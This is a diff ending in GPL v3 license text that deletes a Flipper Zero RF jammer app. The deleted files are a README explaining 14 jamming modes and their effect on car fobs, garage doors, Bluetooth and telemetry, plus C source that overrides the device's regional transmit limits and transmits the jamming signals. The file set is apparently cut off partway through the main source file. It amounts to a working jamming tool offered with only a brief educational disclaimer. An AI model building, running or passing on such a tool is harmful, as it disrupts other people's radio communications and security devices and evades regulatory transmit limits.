only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.

View File

@@ -1,130 +0,0 @@
# RF Jammer App by RocketGod ☠️📡
This **RF Jammer App** for the Flipper Zero, made by **RocketGod**, is a powerful tool for jamming across multiple radio frequencies and modulation schemes. Below is an in-depth look at each mode, from its technical details to the real-world impact of its jamming strategy.
## 🎥 Internal CC1101 Demonstration
https://github.com/user-attachments/assets/4a34bc73-d419-480e-bb87-90216eb8a1e0
## 🎥 External CC1101 Demonstration
https://github.com/user-attachments/assets/1053ec27-a15f-4313-9257-2360135c5e96
## 🎥 Modulation Modes
https://github.com/user-attachments/assets/77970e50-d46f-4d59-bbb0-6e2624a98127
## 🧪 Car Fob in Controlled Lab Test (-28dBm)
![car_fob](https://github.com/user-attachments/assets/35cdb9c7-fcbe-4fdf-a10e-9e020a504f6f)
## 🧪 Community .sub files in Controlled Lab Test (-8dBm narrow)
![jammer_sub_files](https://github.com/user-attachments/assets/a2ad93ae-4e08-4af8-97cc-5ec85f9759a4)
## 🧪 RF Jammer App and Internal CC1101/Antenna in Controlled Lab Test (-8dBm wide)
![rocketgod_jammer_app](https://github.com/user-attachments/assets/6ed6bb9b-2379-491c-9a69-845695de2542)
## 🧪 RF Jammer App and External CC1101/Antenna Flux Capacitor by Rabbit Labs (10dBm) [TinySA Ultra hard wired w/25W attenuator]
![External_Flux-Capacitor_Rabbit-Labs](https://github.com/user-attachments/assets/63e7a4d8-1584-425b-8113-9495a6041836)
https://github.com/user-attachments/assets/53a3123e-b749-4af6-b542-e1784b131084
## 📡 External CC1101 Notes
- **To use an external CC1101, attach it to the GPIO before starting the app.**
- Tested with [Rabbit Labs - Flux Capacitor amplified external CC1101](https://rabbit-labs.com/product/rabbit-labs-flux-capacitor-amplified-cc1101/)
## 📡 Frequency Control
The app supports multiple frequency bands, ensuring compliance with the ranges handled by the Flipper's sub-GHz radio:
- **Band 1**: 300 MHz 348 MHz
- **Band 2**: 387 MHz 464 MHz
- **Band 3**: 779 MHz 928 MHz
You can adjust frequencies with **precision**:
- **Left/Right** arrows move between digits to adjust.
- **Up/Down** arrows increase or decrease the selected digit.
The app will automatically correct the frequency if it's outside the valid range for the selected band.
---
## ⚙️ Jamming Modes Breakdown
Each jamming mode is implemented as a distinct modulation scheme and data pattern. The app generates these patterns and transmits them over the RF link to disrupt legitimate signals in the selected frequency range.
### 🦾 **OOK 650 kHz** (On-Off Keying):
- **Pattern**: A continuous stream of `0xFF` (i.e., all bits set to `1`, equivalent to `11111111`).
- **Mechanism**: In **OOK** (On-Off Keying), the presence or absence of a carrier wave represents binary data. In this case, the app transmits `11111111`, meaning the carrier is always "on."
- **Impact**: This mode overwhelms receivers that use OOK modulation by constantly transmitting a high state (fully "on"). Because the signal never drops, devices expecting to detect short pulses (like garage doors, remotes, etc.) will be swamped and unable to distinguish real data from the noise.
### ⚡ **2FSK 2.38 kHz** (Frequency Shift Keying):
- **Pattern**: Alternates between `0xAA` (`10101010`) and `0x55` (`01010101`), simulating binary `0`s and `1`s.
- **Mechanism**: **2FSK** modulates the frequency by shifting between two discrete frequencies. A low deviation of **2.38 kHz** means that the frequency shifts only slightly between the two states, making this mode very precise.
- **Impact**: Narrowband receivers expecting binary frequency-shifted data will receive rapid shifts between frequencies, confusing their demodulators. This small frequency shift can effectively jam simple devices, such as low-data-rate remotes, by creating ambiguity in the frequency state they expect.
### 🔥 **2FSK 47.6 kHz**:
- **Pattern**: Alternates between `0xAA` and `0x55`, just like the 2.38 kHz mode.
- **Mechanism**: Similar to the 2FSK 2.38 kHz mode, but with a much higher deviation of **47.6 kHz**. This makes the frequency shifts more pronounced, allowing the jammer to disrupt broader spectrum devices.
- **Impact**: The wider frequency deviation affects a larger bandwidth, making it effective against systems that use wider channels or higher data rates. This mode can cause severe interference across a broader frequency spectrum, jamming systems with a higher tolerance for noise or frequency shifts.
### 💥 **MSK 99.97 Kb/s** (Minimum Shift Keying):
- **Pattern**: A stream of **random data** (each byte is randomly generated, not a static pattern like the previous modes).
- **Mechanism**: **MSK** is a highly efficient modulation technique where the frequency shifts are minimal, which makes it spectrally efficient (i.e., it occupies less bandwidth). The randomness of the data simulates high-speed communication, creating a noise-like signal.
- **Impact**: By simulating a noisy digital communication channel, this mode is highly effective against digital systems that rely on MSK or similar modulation schemes. The continuous flow of random data saturates the receiver, making it impossible for legitimate data to be detected, especially in high-speed links like telemetry systems.
### 📶 **GFSK 9.99 Kb/s** (Gaussian Frequency Shift Keying):
- **Pattern**: Like the MSK mode, this also uses **random data**.
- **Mechanism**: **GFSK** is a variant of FSK where the frequency shifts are smoothed by a Gaussian filter. This reduces the bandwidth required for transmission, making it more efficient while still being robust against interference.
- **Impact**: **GFSK** is widely used in Bluetooth and low-power RF systems. This mode simulates an authentic transmission with continuous random data, making it ideal for disrupting low-power communications without requiring significant bandwidth. Devices expecting real GFSK signals will be overloaded with random frequency shifts, making proper communication impossible.
### 🚀 **Bruteforce 0xFF**:
- **Pattern**: A continuous stream of `0xFF` (equivalent to `11111111`).
- **Mechanism**: This mode sends a constant, unmodulated signal of `1`s. In the digital domain, `0xFF` means every bit is a `1`, resulting in a strong, uninterrupted carrier wave being transmitted.
- **Impact**: The **Bruteforce 0xFF** mode creates the most aggressive form of jamming. By transmitting non-stop high bits, it forces constant noise across the frequency, which jams nearly any communication within the affected band. Most RF systems rely on alternating data bits (`1`s and `0`s), so flooding the airwaves with pure `1`s causes receivers to lock up, unable to process real signals.
### 🎶 **Sine Wave**:
- **Pattern**: Generates a continuous sine wave signal across the frequency.
- **Mechanism**: Sine waves represent the most basic continuous wave (CW) modulation, commonly used in signal testing.
- **Impact**: Affects devices using analog modulation schemes, causing them to interpret the signal as a valid, albeit meaningless, transmission, effectively drowning out real signals.
### 🟥 **Square Wave**:
- **Pattern**: Alternates between high (`0xFF`) and low (`0x00`) states.
- **Mechanism**: Square waves are simple digital pulses that are straightforward to generate and disruptive across various digital communication schemes.
- **Impact**: Mimics basic digital signals, likely interfering with devices expecting digital pulse sequences like on-off signaling, potentially causing dropouts or erratic behavior.
### 📈 **Sawtooth Wave**:
- **Pattern**: A gradually increasing signal followed by a sharp drop, repeated continuously.
- **Mechanism**: The sawtooth pattern is similar to frequency sweeps used in testing, creating a continuously shifting interference.
- **Impact**: Effective against frequency-sensitive systems by introducing an unpredictable, ramped noise, often disrupting RF links that lack sufficient error correction.
### 🎲 **White Noise**:
- **Pattern**: Randomized data across the signal spectrum.
- **Mechanism**: Emulates white noise, a common form of interference that introduces random amplitude values.
- **Impact**: White noise can disrupt any frequency-based device, particularly analog devices, making it a universal jamming signal for both digital and analog targets.
### 🔺 **Triangle Wave**:
- **Pattern**: Oscillates linearly between high and low values in a symmetric pattern.
- **Mechanism**: The triangular waveform introduces a consistent frequency shift, resembling certain synthetic modulations.
- **Impact**: Affects devices relying on predictable frequency patterns, making it harder for them to differentiate between legitimate and jammed signals.
### 📡 **Chirp Signal**:
- **Pattern**: Frequency increases steadily within the waveform, known as a "chirp."
- **Mechanism**: Common in radar and sonar, chirp signals create a rising frequency pattern over time.
- **Impact**: Causes RF receivers to detect multiple frequencies simultaneously, often confusing or overloading their demodulators.
### 🎲 **Gaussian Noise**:
- **Pattern**: Random values with a Gaussian (bell-curve) distribution.
- **Mechanism**: Gaussian noise introduces random, statistically distributed values that mimic natural noise in RF environments.
- **Impact**: Particularly effective for jamming digital signals relying on Gaussian-based frequency modulation, as it closely resembles natural interference, making the jamming less detectable.
### 💥 **Burst Mode**:
- **Pattern**: Periodic bursts of high (`0xFF`) data with pauses in between.
- **Mechanism**: Sends intense pulses followed by intervals, creating an effect similar to packetized data.
- **Impact**: Effective against burst-based communication systems by mimicking valid data bursts, which can confuse or overload the receiver's data handling.
---
## 💣 Controls
- **Up/Down Buttons**: Modify the currently selected digit in the frequency.
- **Left/Right Buttons**: Move between digits to adjust frequency values.
- **OK Button**: Switch jamming modes in real-time.
- **Back Button**: Stop the jamming and exit the app.
---
**Disclaimer**: This app is intended for educational and research purposes by experienced RF users. Ensure compliance with local regulations before using this tool.
![rocketgod_logo](https://github.com/RocketGod-git/shodanbot/assets/57732082/7929b554-0fba-4c2b-b22d-6772d23c4a18)

View File

@@ -1,16 +0,0 @@
App(
appid="jammer_app",
name="Jammer",
apptype=FlipperAppType.EXTERNAL,
entry_point="jammer_app",
requires=["gui", "subghz", "furi"],
cdefines=["APP_JAMMER"],
stack_size=2 * 1024,
fap_category="Sub-GHz",
fap_version="0.1",
fap_icon_assets="assets",
fap_author="@RocketGod-git",
fap_description="Jammer for Flipper Zero",
fap_icon="icons/jammer_icon.png",
fap_weburl="https://github.com/RocketGod-Git/Flipper-Zero-Jammer",
)

View File

@@ -1,2 +0,0 @@
Thanks for the code @xMasterX
https://github.com/flipperdevices/flipperzero-good-faps/pull/200

View File

@@ -1,80 +0,0 @@
#include "radio_device_loader.h"
#include <applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h>
#include <lib/subghz/devices/cc1101_int/cc1101_int_interconnect.h>
static void radio_device_loader_power_on() {
uint8_t attempts = 0;
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
furi_hal_power_enable_otg();
//CC1101 power-up time
furi_delay_ms(10);
}
}
static void radio_device_loader_power_off() {
if(furi_hal_power_is_otg_enabled()) furi_hal_power_disable_otg();
}
bool radio_device_loader_is_connect_external(const char* name) {
bool is_connect = false;
bool is_otg_enabled = furi_hal_power_is_otg_enabled();
if(!is_otg_enabled) {
radio_device_loader_power_on();
}
const SubGhzDevice* device = subghz_devices_get_by_name(name);
if(device) {
is_connect = subghz_devices_is_connect(device);
}
if(!is_otg_enabled) {
radio_device_loader_power_off();
}
return is_connect;
}
const SubGhzDevice* radio_device_loader_set(
const SubGhzDevice* current_radio_device,
SubGhzRadioDeviceType radio_device_type) {
const SubGhzDevice* radio_device = NULL;
if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101 &&
radio_device_loader_is_connect_external(SUBGHZ_DEVICE_CC1101_EXT_NAME)) {
radio_device_loader_power_on();
radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME);
if (radio_device) {
subghz_devices_begin(radio_device);
FURI_LOG_D("radio_device_loader", "External CC1101 initialized.");
} else {
FURI_LOG_E("radio_device_loader", "Failed to initialize external CC1101.");
}
} else if (current_radio_device == NULL) {
radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME);
if (radio_device) {
FURI_LOG_D("radio_device_loader", "Internal CC1101 selected.");
} else {
FURI_LOG_E("radio_device_loader", "Failed to load internal CC1101.");
}
} else {
radio_device_loader_end(current_radio_device);
radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME);
}
return radio_device;
}
bool radio_device_loader_is_external(const SubGhzDevice* radio_device) {
furi_assert(radio_device);
return (radio_device != subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME));
}
void radio_device_loader_end(const SubGhzDevice* radio_device) {
furi_assert(radio_device);
radio_device_loader_power_off();
if(radio_device != subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME)) {
subghz_devices_end(radio_device);
}
}

View File

@@ -1,19 +0,0 @@
#pragma once
#include <lib/subghz/devices/devices.h>
#define SUBGHZ_DEVICE_CC1101_INT_NAME "cc1101_int"
#define SUBGHZ_DEVICE_CC1101_EXT_NAME "cc1101_ext"
typedef enum {
SubGhzRadioDeviceTypeInternal,
SubGhzRadioDeviceTypeExternalCC1101,
} SubGhzRadioDeviceType;
const SubGhzDevice* radio_device_loader_set(
const SubGhzDevice* current_radio_device,
SubGhzRadioDeviceType radio_device_type);
bool radio_device_loader_is_connect_external(const char* name);
bool radio_device_loader_is_external(const SubGhzDevice* radio_device);
void radio_device_loader_end(const SubGhzDevice* radio_device);

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.0 KiB

View File

@@ -1,676 +0,0 @@
#include "jammer_app.h"
#include <furi_hal_region.h>
#include <furi.h>
#include <gui/gui.h>
#include <subghz/devices/devices.h>
#include <furi/core/log.h>
#include <furi_hal.h>
#include <lib/subghz/subghz_tx_rx_worker.h>
#include "helpers/radio_device_loader.h"
#define TAG "JammerApp"
#define SUBGHZ_FREQUENCY_MIN 300000000
#define SUBGHZ_FREQUENCY_MAX 928000000
#define MESSAGE_MAX_LEN 1024
static FuriHalRegion unlockedRegion = {
.country_code = "FTW",
.bands_count = 3,
.bands = {
{.start = 299999755, .end = 348000000, .power_limit = 20, .duty_cycle = 50},
{.start = 386999938, .end = 464000000, .power_limit = 20, .duty_cycle = 50},
{.start = 778999847, .end = 928000000, .power_limit = 20, .duty_cycle = 50},
},
};
typedef struct {
uint32_t min;
uint32_t max;
} FrequencyBand;
static const FrequencyBand valid_frequency_bands[] = {
{300000000, 348000000},
{387000000, 464000000},
{779000000, 928000000},
};
#define NUM_FREQUENCY_BANDS (sizeof(valid_frequency_bands) / sizeof(valid_frequency_bands[0]))
static const char* jamming_modes[] = {
"OOK 650kHz",
"2FSK 2.38kHz",
"2FSK 47.6kHz",
"MSK 99.97Kb/s",
"GFSK 9.99Kb/s",
"Bruteforce 0xFF",
"Sine Wave",
"Square Wave",
"Sawtooth Wave",
"White Noise",
"Triangle Wave",
"Chirp Signal",
"Gaussian Noise",
"Burst Mode"
};
static void jammer_show_splash_screen(JammerApp* app);
static bool jammer_init_subghz(JammerApp* app);
static void jammer_start_tx(JammerApp* app);
static void jammer_switch_mode(JammerApp* app);
static void jammer_update_view(JammerApp* app);
static void jammer_adjust_frequency(JammerApp* app, bool up);
static uint32_t adjust_frequency_to_valid(uint32_t frequency, bool up);
static bool is_frequency_valid(uint32_t frequency);
static int32_t jammer_tx_thread(void* context);
static void jammer_splash_screen_draw_callback(Canvas* canvas, void* context);
static void jammer_draw_callback(Canvas* canvas, void* context);
static void jammer_input_callback(InputEvent* input_event, void* context);
int32_t jammer_app(void* p) {
UNUSED(p);
FURI_LOG_I(TAG, "Starting JammerApp");
JammerApp* app = jammer_app_alloc();
if(!app) {
FURI_LOG_E(TAG, "Failed to allocate JammerApp");
return -1;
}
jammer_show_splash_screen(app);
if(!jammer_init_subghz(app)) {
jammer_app_free(app);
return -1;
}
jammer_start_tx(app);
FURI_LOG_I(TAG, "Entering main loop");
InputEvent event;
while(app->running) {
if(furi_message_queue_get(app->event_queue, &event, 10) == FuriStatusOk) {
if(event.type == InputTypeShort) {
switch(event.key) {
case InputKeyOk:
FURI_LOG_I(TAG, "OK button pressed");
jammer_switch_mode(app);
jammer_update_view(app);
break;
case InputKeyBack:
FURI_LOG_I(TAG, "Back button pressed");
app->running = false;
break;
case InputKeyRight:
FURI_LOG_I(TAG, "Right button pressed");
if(app->cursor_position < 4) {
app->cursor_position++;
jammer_update_view(app);
}
break;
case InputKeyLeft:
FURI_LOG_I(TAG, "Left button pressed");
if(app->cursor_position > 0) {
app->cursor_position--;
jammer_update_view(app);
}
break;
case InputKeyUp:
FURI_LOG_I(TAG, "Up button pressed");
jammer_adjust_frequency(app, true);
jammer_update_view(app);
break;
case InputKeyDown:
FURI_LOG_I(TAG, "Down button pressed");
jammer_adjust_frequency(app, false);
jammer_update_view(app);
break;
default:
break;
}
}
}
}
FURI_LOG_I(TAG, "Exiting JammerApp main loop");
jammer_app_free(app);
FURI_LOG_I(TAG, "JammerApp exited");
return 0;
}
JammerApp* jammer_app_alloc(void) {
JammerApp* app = malloc(sizeof(JammerApp));
if(!app) {
return NULL;
}
app->view_port = view_port_alloc();
app->event_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
app->frequency = 315000000;
app->cursor_position = 0;
app->running = true;
app->tx_running = false;
app->jamming_mode = JammerModeOok650Async;
app->gui = furi_record_open(RECORD_GUI);
furi_hal_region_set(&unlockedRegion);
view_port_draw_callback_set(app->view_port, jammer_draw_callback, app);
view_port_input_callback_set(app->view_port, jammer_input_callback, app);
gui_add_view_port(app->gui, app->view_port, GuiLayerFullscreen);
app->tx_thread = NULL;
app->subghz_txrx = NULL;
app->device = NULL;
subghz_devices_init();
app->subghz_txrx = subghz_tx_rx_worker_alloc();
furi_hal_power_suppress_charge_enter();
return app;
}
void jammer_app_free(JammerApp* app) {
furi_assert(app);
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Enter jammer_app_free");
#endif
if(app->tx_running) {
app->tx_running = false;
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Set tx_running to false");
#endif
}
if(app->tx_thread) {
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Joining tx_thread");
#endif
furi_thread_join(app->tx_thread);
furi_thread_free(app->tx_thread);
